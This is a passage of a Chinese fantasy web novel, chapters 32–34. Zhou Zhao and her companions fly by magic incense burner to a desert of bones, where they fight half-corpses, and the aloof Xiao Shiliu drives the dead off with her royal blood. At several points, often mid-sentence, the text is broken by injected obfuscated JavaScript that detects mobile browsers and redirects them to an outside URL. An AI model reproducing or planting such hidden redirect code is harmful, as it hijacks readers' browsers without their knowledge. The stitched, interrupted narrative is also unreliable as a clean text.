周昭却不知,此刻黎国皇宫内鸡飞狗跳,谢景险些被自己的父皇打死,不可谓不惨。 谢景跪在国主面前,脸上还留着新鲜出炉的巴掌印子。黎国国主得知他私自跑回来,险些当场将他捆了扭送回去,要不是皇后劝阻,谢景估计还要被打得狠些。 谢景梗着脖子,不服气道:“这么多年,我回来看一眼怎么了?再说不是父皇你写信让我回来的吗?” 不提还好,一提国主便要抄起手边玉璧往外砸:“本王是让你这么回来吗?!” “陛下息怒!”王后劝道,“皇儿也是一片孝心,都怪我!要不是我这身子……” 她说到这里眼泛泪光,国主终于不忍再骂。好歹是十年未见,气消后也觉得自己下手狠了些。 “夫人莫急,本王知道,都知道。”国主这才细细端详起阶下跪着的儿子,“长高了,也瘦了……” 谢景鼻头一酸,差点没哭出来。 其实黎国王后的病已然大好了,谢景本来不信,以为是让他放心回去的说辞,可他母妃确实精神不错,才相信真有神人相助。 王后说,五天前黎国来了个云游的独眼道士,就是他治好了自己多年的头风病。 “皇儿你瞧,这串佛珠也是他送的。” 谢景早就注意到了王后颈间那串通红的佛珠,不由道:“怪事,一个道士竟然会送什么佛珠?难道我佛慈悲,也渡道士吗?” 王后嗔怪地在谢景手背上轻轻敲打了一下,道:“刚回来便胡说八道。那说不定是个真神,在人间救苦救难的。不过说来这佛珠原本是他送给你父皇的,说看你父皇有缘,送来辟邪消灾。你父皇不知好赖,偏说珠串戴着碍手碍脚,我便拿来了。” “真有这么神乎?”谢景伸手在佛珠上摸了摸,“那道士还在不在?” 不待王后说话,黎国国主便骂道:“没听你母后说是云游道士,不走,擎等着见你呢!” 谢景有些失望,还以为能找到这位真神,帮他们抓疟鬼。但给谢景十八个胆子,也不敢将周朝的事儿抖落出来,更不敢说那周朝皇帝的独女也被他拐来了,就在宫门外等着。要是给他父皇知道,谢景就不光是脸上的巴掌印那么简单了。 等谢景一吃完饭,国主便命他速速回周,不得延误。谢景含糊应了,一步三回头地离开,见王后默默垂泪,自己的心也跟着发酸。 谢景几乎是跑回客栈,见到周昭便连连叫道:“阿昭!阿昭我跟你说,我母妃病全好啦!” 周昭闻言亦是眉开眼笑:“真的?太好了!” 谢景发够了疯,将皇宫里发生的事儿都跟周昭说了,虽然略去了险些被暴揍一顿的事实,但他脸上巴掌印子还未消,周昭心里已明白了七七八八。 “方才我回来见你和小二说话,出什么事儿了吗?” “没事儿,”周昭道,“向小二打听个人。” 周昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁啻眼珠子一转,舌尖上便盛满了一车轱辘谎话,糊弄道:“我也住这儿,巧不巧?来,尝尝。” 他将酒坛子递给周昭,就差摇尾巴。 周昭婉拒道:“谢谢,但我真不会喝。” 谢景把酒劈手夺过去,下了逐客令,说道:“表哥,你也知道我偷跑回来的,你快些走吧,免得被发现。” 宁啻道:“方才我听你们说什么抓鬼,怎么回事儿?” 周昭暗道一声糟糕,也怪她太不谨慎。谢景否认道:“哪儿有鬼?你听错了吧表哥。” 宁啻不依不饶道:“我不聋,老实说,抓什么鬼?” “真没有表哥,我们已经准备回去了。” “不说是吧,那我这就去告诉——” “抓疟鬼。” 谢景惊讶地望向周昭,心想你怎么把实话说出来了。 周昭又道:“宁兄,我哥哥常年在边关,前几日被疟鬼所害染疾,听说只要抓了疟鬼就能治病,长淮是陪我来的。人命关天,还请宁兄莫要声张。” 既然已经被发现,遮遮掩掩反令人生疑。宁啻沉吟道:“疟鬼只有三苗才有,你们难道要去三苗国?” 周昭点点头,宁啻挑了挑眉,难以置信道:“就你们俩?” “对。” “打算怎么走?” 周昭拿出地图:“渡海。” 32. 半尸 他们要去三苗国,最近的办法就是横渡无妄海,最远的办法则是从北疆绕过去。宁啻不由分说道:“无妄海底下可是无相渊!渡海太危险,我和你们一起去。” 相传很久以前,神州大地除了人,还生活着众多妖魔鬼怪。后来神兽毕方将其镇压在无相渊,以己之身净化天地戾气亡魂,才有了人间一说。 周昭作为身上流着毕方神血的周氏后人,虽然听说过这段古老的历史,但对于无相渊到底是个什么东西确实没概念。 谢景笑道:“表哥,你还真信无妄海底下有个什么无相渊呐,幼稚!就算真有,传说不都说了,无相渊早就被毕方封印了,哪轮得到我们碰上。” 宁啻瞪了谢景一眼:“我从前在边疆待过几年,三苗国我比你们熟。再说渡海太慢了,我有个法子能眨眼就到。” “真的?” 宁啻卖关子没再说。 周昭却想起一事,问:“宁兄在边关待过,可有见过疟鬼?” 宁啻沉吟道:“这个还真不曾见过,只是听说过疟鬼能传播疫病,至于长什么样子,谁也没见过。” 谢景脱口而出道:“阿——着急死人了!” 谢景仍是不大习惯改口,险些说漏嘴,吓出一身汗,接着道:“阿鸢,表哥跟我们一起也好,说不定还能早点抓到疟鬼,如何?” 周昭想了想点点头:“好吧,那麻烦你了宁兄。” 宁啻又恢复成嬉皮笑脸的模样,盯着周昭傻笑道:“不麻烦不麻烦。” 这一幕落在谢景眼中简直没眼看,心想他这表哥定是贪图周昭美色,不过他跟周昭待在一起这么多年,怎么从没觉得周昭像天仙呢…… 距众人百里之遥的无妄海此刻风平浪静,在月光下闪着银光,并不像传闻中所说那般凶险。 沿着海岸线一直往北,越过北疆边境,继续深入草原腹地,月光下广袤的草原一望无际。 正值大雪,入目萧瑟。 王帐中却很突兀地站着一位灰色袍子的道士,背面仙风道骨,近看却是个一把年纪,瞎了一只眼的。 “长老,为何不让本王出兵!” 年轻人长了只血气方刚的鹰钩鼻,满脸雄心壮志,正是新推选的草原部落首领察罕图。 “用中原人的话来说,天下没有不漏风的墙。盛都乱了马脚,正是我部出兵的好时机!” 任凭他火急火燎,那道士却岿然不动:“可汗,你太小看中原人了。” 察罕图叫道:“哼!长老灭自己志气,长他人威风!” 道士微笑道:“可汗,我跟你们可不是一伙的。” 察罕图脸上的急躁悄无声息地散了下去,狭小的灰眼睛里射出两道精光,声音低下去:“长老真觉得……此刻出兵并非良机?” 道士故作高深,摇摇头。 察罕图沉吟片刻,一拍大腿:“好吧!既然长老上次一出手,就帮本王解决了周衡那个臭小子,搅得盛都乱成一锅粥!本王就再信长老一次,不出兵了!” 道士这才道:“贫道是为另一件事而来。周氏皇女已到黎国,大王切莫心急,不可动手。” ……怪事,这老道如何得知我要动手? 察罕图皮笑肉不笑,语意暧昧道:“一个丫头片子,也值得长老跑一趟。” 道士不答,眼神虽然带笑,却看得出寸步不让。 年轻的首领在这目光下竟怯了半分,待缓过神来,答道:“既然长老说了,本王不动她就是了。不过,长老你得告诉本王,何时才能出兵?我草原上的雄鹰生来就是要吃肉的,不见血,不回头!” 道士伸出一指:“一个月。” 王帐烛火闪烁,察罕图嘿嘿笑了两声,盯着道士那只独眼:“长老,难道就是这瞎眼之仇,让你想杀光中原人?” 老道右眼整个被挖空了眼珠,空荡荡的,颇为瘆人。他略微俯首:“可汗,咱们事先说好的,我助你荡平中原。至于贫道……莫问来处,莫问归处。” 王帐轻轻掀起,那灰色身影便融入夜色之中了。 翌日一早,宁啻便带着大包小包来到客栈。谢景见他如此夸张,忍不住道:“表哥,你是要去三苗国常住吗?” 宁啻胸有成足道:“有备无患,懂吗表弟。” 他从包裹里拿出一只香炉,青铜所制,十分小巧。香炉谢景见得多,又要嘴碎多说上几句:“表哥,我们是去办正事儿的,没功夫花前月下陶冶情操。” 宁啻并不理会,献宝似的端到周昭面前,介绍道:“请看,这是行云令。” 行云令,乃是一种日行千里的法宝。 传说造出这东西的本来是个穷书生,因为常年不能高中一气之下出家修道,因此行云令用时需要写出两句包含地名的小令,再将笔墨于香炉点燃,睁眼即到。 不过行云令有个限制,一天只能用一次。再者这东西有时候不大准,世上地名万千,保不齐刚好有两个地方叫法一样,万一费劲巴拉憋出来两句诗,反而被送到离目的地甚远的千里之外,岂非很不划算?所以这东西流通并不广。 周昭只觉天地之大果真无奇不有,端着行云令爱不释手。 宁啻随身携带的还有一份地图,他抬手一指:“先去这里!” 宁啻所指的地方最早叫安县,是通向三苗国的门户。这地方从前打过仗,死过不少人,所以也叫食人坡。 宁啻提笔写下“黄沙漫漫食人骨,残阳如血染荒坡。劝君莫问当年事,夜深犹听旧时哭。” 又落款写道:“食人坡。” 香炉白烟如一缕细线升腾,千里之外食人坡废墟之上,凭空多出来三人。 耳畔风声呜咽,眼前黄沙萧瑟,寸草不生,果真应了宁啻诗中之景。 “我说表哥,这......”谢景忽然觉得脚下踩着个什么东西,随着他身体移动发出咔嚓一声脆响,低头一看,竟是个残缺的骷髅头。 “啊!!!”谢景发出一声鬼叫,跳开半丈远。 定睛一看,这竟然是一片乱葬岗。脚下黄沙非沙,而是人骨风化后形成的骨灰。 周昭只觉得阵阵寒意顺着小腿爬上来,不由起了一身粒子,自言自语道:“食人坡……名不虚传。” 宁啻正要去拿地图,忽然左膝不受控地一歪,像是有什么东西把他狠狠拽进土里。 宁啻试着拔了拔,没拔出来,再一看,竟是半只胳膊扣在他小腿皮肉! “啊啊啊表弟救我!!!”随着一声惊呼,宁啻已被拖行出五步远。 “那是什么东西!”周昭从腰间摸出一条长鞭,抬手甩出,眼看长鞭就要被宁啻抓住,一个张着血盆大口的头颅对准她脚腕咬下去。 周昭抬脚狠狠一踩,只觉脚下绵软一片,哪里还有人头踪影。却见黄沙底下簌簌而动,周昭叫道:“长淮小心!朝你那边去了!” 谢景拔剑,叫道:“表哥你带的什么好路!” “先离开这里!”周昭一鞭不成,再甩出一鞭,宁啻已经被那半只胳膊抓着往土里带,周昭长鞭缠住宁啻将他拔起,那胳膊终于晃晃悠悠掉下来。 谢景一剑刺中头颅天灵盖,抬脚将其碾碎,那头颅顷刻间化为流沙不见了。周昭也将那只胳膊斩断,她环顾四周,似乎没有其他东西再出现,眼前又恢复他们来时的风平浪静。 宁啻惊魂未定,谢景走到他面前,问道:“表哥,你不是在边疆待过吗?” 宁啻大言不惭道:“我在边疆……其实是个文职。” 谢景:“……” 接下来的一炷香内,谢景都在细数宁啻小时候的恶劣事迹,从偷鸡摸狗到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593498|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃课装病,再到今天的安县。宁啻自然不甘示弱,二人互相揭短,打打闹闹,倒也添了些趣味。 周昭走在旁边,不由想到远在千里之外的哥哥们,正有些感怀,忽然起了阵大风。 这风来得诡异,更诡异的是眼前荒漠突然出现成群结队的老鼠,它们个个体型硕大,牙齿尖利,像是凭空出现又很快消失。 “你们看,”周昭道,“那些老鼠都跑进岩石后面去了。” 谢景道:“那儿应该是老鼠洞吧,我们去看看。” “等等。”周昭拉住他,“你听。” 宁啻道:“是风声?” “……是龙摆尾!” 前方出现一道裹挟着风沙呼啸而来的飓风,这风螺旋而上,在这荒漠之上宛如神龙摆尾气势汹汹。 周昭将剑插进土里,可惜这尘土极为松散,根本站不住脚。她环顾四周,指着方才老鼠跑过的方向,高声叫道:“长淮!我们去那边!” 那里有巨石遮挡,想来刚才那些老鼠就是去避难的。谢景应了一声,拉着宁啻深一脚浅一脚往巨石走。 离巨石还有一丈远时,突然天地色变,众人眼前一暗,脚下一轻,再反应过来时已经被飓风卷了进去。 遭了!宁啻不会武! 周昭勉力睁开眼睛,不知是土还是骨沙一个劲儿地往她眼睛里钻,刺得她生疼。 她和谢景对视一眼,二人借助风势合力运气,将宁啻护在中间。周昭低头一看,他们已经被高高吹起数丈高,可地面却在此时此刻悄然发生了变化。 只见原本一望无际的荒漠,无数断肢残臂从地底下破土而出,从上往下看竟好像密密麻麻涌动着的浪潮,让人心惊胆战。 可下一瞬,这浪潮就随风而起,竟也被裹挟到了飓风里。周昭正不得其解,一只骨爪自她身后袭来! 宁啻眉眼一跳,将周昭往自己面前猛地一拉。周昭自幼习武,就算宁啻不这么做,骨爪也不会伤到她。周昭向宁啻投去感激的目光,那骨爪扑了空,竟十分灵活地调转方向,又向谢景抓去。 这东西竟能不受飓风影响?周昭看向谢景,对方也明白了这点,不由蹙紧眉头。他一手要护着宁啻,一手要在半空和骨爪缠斗,实在不好受。 这样下去不是办法,周昭握紧长鞭,一端缠绕在自己右臂,另一端将宁啻牢牢绑住。然而更可怕的事情还在后头,不光骨爪,方才从地下钻出来的东西,全都如饥似渴地向他们扑来。 沙石阵阵,鬼声戚戚。 他们在空中被这些半尸纠缠,刀剑都发挥不出多大效用,要不了多久就算不被半尸抓住,也会力竭而亡。而此刻风力似乎小些,就好像知道他们已经撑不了多久,要将他们复扔回地面。 周昭心想,若她所料不错,稍候他们三人会被这股风刮到不同的地方,届时他们精疲力尽,定会成为这些东西的盘中餐。 她往怀里摸了摸,本想看看还有没有绳索之类,正在此时,宁啻突然身子一歪,不受控制地向后倒去。 他面色发青,双目紧闭,已然昏迷过去了。周昭下意识往回拉,却被强劲的风力撕扯着,眼看宁啻就要掉进下方半尸群中,周昭心一横,顺风而去,又将长鞭再度收紧,二人在空中调转了个方向,她拼尽全力将宁啻向前一抛,叫道:“长淮!接住!” 这样吼了一声,风沙瞬间灌进咽喉,周昭只觉像吞了无数刀片般又疼又刺。可眼下不容她喊痛,方才救宁啻几乎耗尽了她全部内力,眼看她后背就要撞上那块巨石。 这一撞不一定会死,但一定很痛。 周昭闭上眼睛,预想中的疼痛却没有到来,取而代之的是一个什么柔软的东西。 周昭侧目,飞沙走石中,她的面容倒映在一双冷淡的眼眸里。 “小殿下,又见面了。” 33. 神血 周昭难以置信道:“十六,你......” “别说话。” 对方单手揽在她腰际,宽大的袍袖将迎面而来的沙石悉数挡住,就这么轻飘飘地落在地上,顺势将周昭稳稳当当地放在巨石后。 这里还算安全,不知道为什么,那些半尸虽然蠢蠢欲动,却并不敢向他们这边靠近。 而另一边,风沙渐停,谢景和宁啻就不如周昭好运气了,虽然没撞上巨石,也狠狠地摔在这骨沙里半死不活了。 围在他们身边的半尸,迅速向谢景他们围去。 周昭反手撑住巨石,欲站起身,却被萧十六轻轻按住肩膀:“你受伤了。” “嗯?”他这么一说,周昭才觉得右臂传来一阵剧痛。刚才宁啻掉下去时,全靠那一根鞭子连接二人,彼时忙着救人,周昭竟没注意右臂皮肉都被磨烂了,血珠子正淋漓不尽地顺着她整个右臂流淌下来。 “不碍事,救长淮要紧。” 萧十六再一次将她欲拔剑的左手隔着衣袖按住,他的手掌很大,一时间周昭被他覆住动弹不得,他平静道:“人各有命,救他做什么?” 换作其他人说这话,周昭一定要恼。但她总记得十六出身可怜,正如莲花无心非花之过,所以不由得比对旁人多了几分耐心:“十六,你在这等等我。” 周昭抽出手,摇摇晃晃站起来,远远看看谢景撑着剑半跪着,宁啻应是在他身后。 人还活着。 周昭来不及高兴,因为尸潮已经朝他们越逼越近。 她就这么吊着一只淌血的胳膊走了两步,却第三次被人拦下。 萧十六挡在她身前,不冷不热道:“好吧。” 周昭尚不明白他的意思,萧十六道:“借剑一用。” 他要救人? 萧十六夺了她的剑,突然举剑向她右臂刺来。周昭骇了一跳,却见十六将她右臂流下来的血尽数抹在剑上。 他足尖轻点,飞身至尸潮上,随手将剑朝天空一扔,剑在空中停下,忽而漫天血雨如云似雾,好似一片轻薄的红纱缓缓落下,瞬间笼罩了整个荒漠。 周昭正不得解,却见血雾落下时,那些半尸不约而同地停止前进。此时剑无人而动,一招一式竟也有模有样,而半尸们有的惊恐万分地躲进地底下不再出来,有的则开始互相残杀。 十六瞅准时机,一手一个,将谢景和宁啻二人飞身拎起来,稍后像丢破烂似的毫不客气地丢到周昭面前。 宁啻已经昏过去了自然不知情,但谢景还是平生第一次被人这样对待,纵使一身伤,也要梗着脖子叫道:“你!你竟敢......” 周昭劝道:“好了长淮,是十六救了你们。” “谁稀罕他——嘶!”谢景扯到伤口痛得龇牙咧嘴,周昭知道他这是自尊心受挫,觉得没面子,偏偏这时站着的那人又火上浇油,冷冰冰地说道:“废物。” 他看了看宁啻,又补充道:“两个。” “十六……”周昭求救般看向他,对方没什么表示,走到离他们稍远的地方去了。 “你!”谢景挣扎着就要坐起来,周昭真是十分头痛,哄完一个又一个,忙转移话题问道:“宁啻如何了?” 谢景终于想起他那倒霉表哥,将该死的萧十六暂且搁置一边。宁啻毫无生气地躺在那儿,嘴唇乌青,脸色灰白。谢景一探额头,眉头紧锁:“他在发热。” 宁啻方才被半尸抓过的小腿处已经完全溃烂了,皮肉翻开渗出不正常的黑血。 “这东西有毒。”周昭心一沉。 远处半尸们在那只剑的操纵下,互相撕扯搏击,不可谓不激烈,因此他们这边还算安全。 谢景忽然想起什么,眸光一亮,叫道:“阿昭,你找找师父给的锦囊里可有丹药?我记得那只白瓶子的就是。” 周昭三两下翻出来一只白瓷瓶:“有!” 她打开瓷瓶,一股令人心安的药香飘散出来。但他们都不精通药理,不知道这药是否对症,谢景是个急性子,抓起药丸就往宁啻嘴里塞了一颗:“管不了那么多了!师父给的应当是好东西,再不救人表哥真得死在这儿!” 一声嗤笑传来—— “要是你师父给的是毒药,你表哥这下可真要被你毒死了。” 萧十六双手抱胸,嘴里好像从不会说好赖话。 “你在胡说八道什么!晦气!”谢景气得脸发绿,周昭试探道:“十六,你可认得这药?” 十六走过来蹲下,捏起一颗药丸在鼻端嗅了嗅,道:“不认得。不过这其中有几味药材,可散热解毒。放心,这小子死不了。” 他目光下移,落在周昭那只血肉模糊的胳膊上。 刺啦—— 十六利落地将外袍下摆扯下一片,撕成布条,沉默着开始包扎起周昭流血的右臂。 周昭心下感激,这才注意到十六今日没穿从前那些麻布衣裳,而是换了身月白锦衣,腰间系着条青绿色的玉带。 他原本就生得好看,这么一装扮愈显贵气。但如今下摆短了一截,让人瞧着可惜。 “十六,谢谢你。” “手给我。” 周昭低头看掌心交错纵横全是勒痕,但这伤比起谢景他们算不得什么,摇摇头:“不要紧。” 对方闻言便松开她,不再强求了。 另一边宁啻虽然未醒,但额头已经没有刚才那么滚烫了。谢景方才护着宁啻,衣服都被划得不成样子,从高处掉下来又当了回人肉靠垫,简直狼狈不堪。 周昭从行囊里拿出些水来给谢景喝了,问道:“长淮,你感觉怎么样?” “咳咳、还好。”谢景喘了口气,脸色并不怎么好。 “这药你们最好每人服用一粒,以防尸变。”十六先是倒了一颗药给周昭,然后把药瓶丢给谢景。谢景半信半疑,但想想尸变,还是老老实实把药吞了。 他们说话的这会子,远处的击杀声不知何时已经停了。周昭起身看了看,荒漠风沙依旧,那些半尸竟都消失不见了,只剩那柄剑孤零零地躺在那儿。 周昭不由问道:“十六,这些是什么东西?你刚才又是怎么击退他们?” 萧十六道:“这是义奴,我也是第一次见。” “我好像在哪里看到过这个名字……”谢景本来不愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16622162|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和萧十六讲话,但对方说的恍惚间勾起了他的回忆,“我想起来了,我小时候在宫里一部古籍上看到过!” 黎国并不排斥修道,这从沿路而来的道观就可见一斑,因此这类书籍自然比周朝多些。 萧十六难得多话,不咸不淡地解释道:“所谓义奴,其实是死去的士兵亡魂不肯离去,以为自己还活着。他们生前终日厮杀,死后也只能继续这样下去,他们会把所有闯入战场的活物当做猎物,哪怕尸体已经风化,只剩一条胳膊一个头颅。” 萧十六边说边走过去把周昭的剑捡回来:“那风也是义奴搞的鬼,这骨沙是他们自己的身体所化,操纵起来易如反掌。” 周昭若有所思道:“怪不得我刚才看到有的半尸身穿盔甲......” 三苗国论起来曾经也算是周朝的领地,不过后来几经浮沉,变成了这无边荒凉的食人坡。 谢景插话道:“这是哪国士兵?哪次战乱?” 萧十六示意他自己去看盔甲,周昭用棍子扒拉着一片甲胄,久经风沙侵蚀已经看不清重甲上的图腾,萧十六略瞟了一眼,淡淡道:“周朝的。” 他将剑递给周昭:“小殿下可还记得,当时你受了伤,那些东西都不敢靠近。” “嗯,何解?” “因为你的血。” “我的血?” “人皇血脉天下只此一支,至纯至净,能驱邪避祸。” 萧十六说这话时眼睛微微眯起,无端让周昭想起那只白猫。 周昭头一次知道自己的血还有这等好处,十六的声音不疾不徐地传来:“于是我将这血抹在剑上,下了场血雨,义奴多仓皇逃窜,那是因为他们见识过从前一位人皇的厉害。那些自相残杀的,不如说是将千年前未打完的仗接着打过。你的血激起了周朝士兵的斗志,唤醒了沉睡的亡魂,他们誓死为周朝皇族而战,为保护你而战。” 风声簌簌,好似人声呜咽,又好像完成夙愿后的亡魂告别。 大漠黄沙,周昭心底不由涌起难言的震撼。她郑重地在天地之间俯首行礼道:“吾乃大周皇女周昭,在此谢过先辈英烈!” 声音回荡,呜咽渐息。 周昭忍不住问道:“十六,有人会听见吗?” 萧十六抓起一把沙子,冰冷的骨渣自他指缝间滑落,他看稀奇似的将周昭打量一遍,显然觉得周昭在做一件不可理喻的事情。 末了又点点头,像是找补道:“会的。” 说来奇怪,明明萧十六和他们差不多大,甚至也许还要小个一两岁,可周昭每每见他,总觉得他一言一行不像这个年纪的少年。 这人眉宇间总是压着熨不开的阴郁之气,寡言少语,拒人千里之外。就比如此时,他虽然嘴上说会,但更像觉得她这话好玩儿,哄小孩儿似的骗骗她。 正思虑间,谢景问道:“我说,你怎么会到这儿来?” 京都离此地几千里,哪怕是有行云令,也不可能如此精准地刚好和他们落在同一地点。 气氛突然变得有些微妙,谢景继续道:“可别说是顺路。” 萧十六没说话,抬眼却杀气腾腾。 34. 坏种 周昭生怕这两个人打起来,忙道:“算啦,长淮,不管怎么说十六救了我们。” 谢景将周昭拉到一边,悄声道:“你这朋友稀奇古怪的,还是当心些好。” “就当为了你表哥,也得谢谢他才是。”周昭压低声音。 谢景本欲反驳,满肚子的疑问只好咽下去,要不是这位不速之客,表哥还真说不好能不能活,那他可要成千古罪人了。要谢景低一低头不是件容易事儿,他脸色青一阵白一阵,正准备谢过,十六挑眉道:“不用勉强,我本来也没打算救你。” 周昭真搞不懂他俩为何说两句就能呛起来,一个是炮仗,另一个就是那专点炮仗的火星子,忙接过话:“十六,你和我们一起走吗?” 谢景哼了一声:“谁要和他一起走。” 萧十六出奇地对谢景的话置若罔闻,居高临下地看了看他们,答非所问道:“那张地图,拿给我看看。” 周昭拿出他们来时用的地图,递给他:“给。” 萧十六看了眼便扔到一边:“不是这张。” “只有这一张呀......”周昭纳闷道,她忽然想起什么,从贴身携带的锦囊里取出一份地图。那是一份更大些的周朝地图,所以不如宁啻那份三苗国境内的地图精细,“你说这个?” 萧十六这回看得比方才时间久些,周昭不由问道:“十六,有什么问题吗?” 萧十六指了指地图上靠近右下角的一点:“如果你们用这张图,那么沿着这条标记好的线路可以从黎国直接到三苗国的行人岭,根本不用来安县走这么一遭。虽然安县离行人岭也不远,但这条路你们也看到了,难走。” “行人岭?就是疟鬼所在之处吗?” 周昭来时也翻阅过典籍,只是周朝对三苗国的记载甚少,对行人岭她也只知道这么个地名,具体在哪儿并不清楚。 十六点点头,若有所思道:“你师父给的这张图,目标十分明确。黎国国都,行人岭,苍界山,都标好了不同的线路。至于食人坡,这上面压根没画出来,换句话说,只要你想去三苗国国境内,按着地图走,一定会到行人岭。” 正是他们此行三个地点。 周昭心道:“看来师父一切都为我们安排好了。” 谢景心中不大是滋味儿,当初是他同意表哥跟来的,可非但跑错了地方,还置大家于险境。实话实说,其实他也对这少年有些敬佩,但碍于面子不好意思讲,便转向周昭,问道:“阿昭,下一步我们去行人岭吗?” 周昭点点头:“要去,但宁兄他......” 前路未可知,行人岭还指不定会发生什么事情,谁都不清楚是比荒漠更好还是更糟。宁啻昏迷不醒,小腿上的伤虽然已经没有继续溃烂,看上去仍触目惊心,周昭忽然想到什么,灵机一动道:“十六,你说我的血能驱邪,可以去尸毒吗?能否抹在宁啻腿伤上?” “人皇血,必须心甘情愿献出才能发挥神血功效。”萧十六转向周昭,“你心甘情愿?” 周昭点点头:“当然了,宁啻是朋友。” 萧十六抬眸冷笑道:“原来做殿下的朋友,就能得到殿下的血。不过我请问,你的血很多吗?”他话锋一转,一反常态地嘲弄道,“小殿下,你比我想象的要更蠢笨。” 周昭被劈头盖脸骂得一愣,谢景气道:“阿昭一片好心,你这人会不会讲话的?” 萧十六反问道:“哦?那你也希望用她的血,换你表哥的生喽?” “我......”谢景自问他方才确实有过这样的念头,一点血罢了,拿来救人难道不对吗?但他被十六这么一问,忽然觉得他想得太理所应当了。如果他的血能救表哥,他当然双手奉上。但如果是阿昭,他确实没道理要阿昭这么做的。 周昭心想:“这是什么道理,我还没说什么这俩人反倒争执上了。不就是一点血吗,有什么大不了的?” “试试吧。”她倒是无所谓的,萧十六却拦下她:“荒漠有一种草药,能止血去毒。” 谢景心中一喜,嘴上不饶人:“喂,有你不早说。” 萧十六没理他,径直往前走了。过了不到半柱香,他回来时手里多了几株绿色的草叶子。萧十六丢给谢景一些,然后半蹲在周昭面前,再次说道:“手给我。” “我不要紧,给......” 萧十六打断她道:“小殿下,行人岭的疟鬼专爱吃你这种细皮嫩肉的小女娃,你要是不想伤口感染连剑都用不了,就随便。” 周昭本来是看药草没多少,但十六这么说了,只好把手伸出来。 萧十六将草叶在手掌团了团,轻轻一捏,化作一股深绿的汁液从他掌心流下来,周昭只觉伤口一阵清凉,果然好些。 “十六。”周昭道。 萧十六又撕下一片布料,此时正在她手心打了个小巧的结,鼻间轻轻嗯了一声,像是有些不耐烦。 周昭眼中蕴了丝柔软的笑意:“十六,你这人明明是好心肠,却总爱说些带刺的话。” 要是有机会看看你原本的样子就好了。 萧十六抬起头,盯着她看了片刻,用一贯的冷漠语气道:“哦,怕是要让殿下失望了。我是个坏种,生就一副恶毒心肠。” “不是的。” “不是什么?”萧十六一双眼沉在这遍地尸骨里,染了几分鬼气森森的好颜色。 周昭望进那双眼里,试图找到分毫良善,岂料越看越觉得脊背发凉。但她想的却不是此人如何如何危险,只是感慨到底是什么造就了这样一个萧十六。她嘴角微微向上,温声道:“不是的,人性本善,你也一样。” 萧十六不答话,包扎完便走开了。 那边谢景也给宁啻敷了药包扎好,他们休息片刻,却不敢松懈。虽说那些半尸不敢再出来,但坐在成片的骨头渣子上心里总是阵阵发毛,便准备到行人岭再做打算。 谢景年轻力壮,也不知是他身体好,还是江梅棠为他们准备的丹药好,他身上七七八八的划伤已经好得差不多了。谢景和周昭一样,这算是他们第一次真正意义上的实战历练,于是对接下来的行人岭,谢景可谓是好了伤疤忘了疼——跃跃欲试。 谢景坐在那块巨石上,道:“行人岭,这个名字好,说不定那里还能见到三苗国的人呢。” 而萧十六就这么大大咧咧地躺在前辈们的骨灰上,双臂交叉垫在脑袋底下,望着头顶时而飘过来又飘过去的云,那件撕开的外袍正好搭在他的膝盖上,风一吹,露出黑靴包裹着的小腿,紧实且修长。 他本来沉默不语,此时突然道:“确实。” 谢景一下来了兴致,问道:“你知道?” 萧十六慢条斯理道:“行人岭嘛,当然有很多人喽。” 这话说了等于没说,周昭道:“疟鬼也算吗?” 萧十六少见地笑了一声,道:“算吧。” 谢景反驳道:“鬼怎么算是人?不对,难不成行人岭,全都是疟鬼吧?” 萧十六没答话,谢景自讨没趣,从巨石上跳下来看宁啻去了。 一阵微风吹过荒原,混合着黄沙与人骨的萧瑟扑面而来,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢景这话说得咬牙切齿,他总不能对宁啻实话实说,说躺在那儿的好汉简直像是从天而降,至于为什么能从天而降他也没弄明白,然后将他们二人犹如老鹰抓小鸡般从半尸嘴里救下来了,那他堂堂黎国太子的脸还要不要了! 宁啻挠挠头,道:“看来我真是睡过去太久了。但这位朋友,躺在骨灰里真的不要紧吗?” 周昭想叫萧十六起来,手刚伸出去刚碰了碰萧十六的胳膊,他突然翻身而起,铁钳一样攥住周昭的手腕往后拧,看清是谁,才及时收住力道。 周昭冷不防被他眼底汹涌的杀意吓了一跳,低声道:“十六……我是想……” 对方缓缓松开手,不知道歉,反而道:“我方才做了个梦。” 宁啻道:“这位朋友,你做了什么梦。” 萧十六站起来抖了抖身上的骨灰,说道:“我梦见自己是个士兵,在这片荒漠里跑啊跑。” “然后呢?” 萧十六将掌心摊开,绵软的沙砾在太阳底下像一把碎金,他看了周昭一眼,道:“然后我就醒了。” 谢景不以为然道:“在这种地方还能做梦,可真是个怪人。” 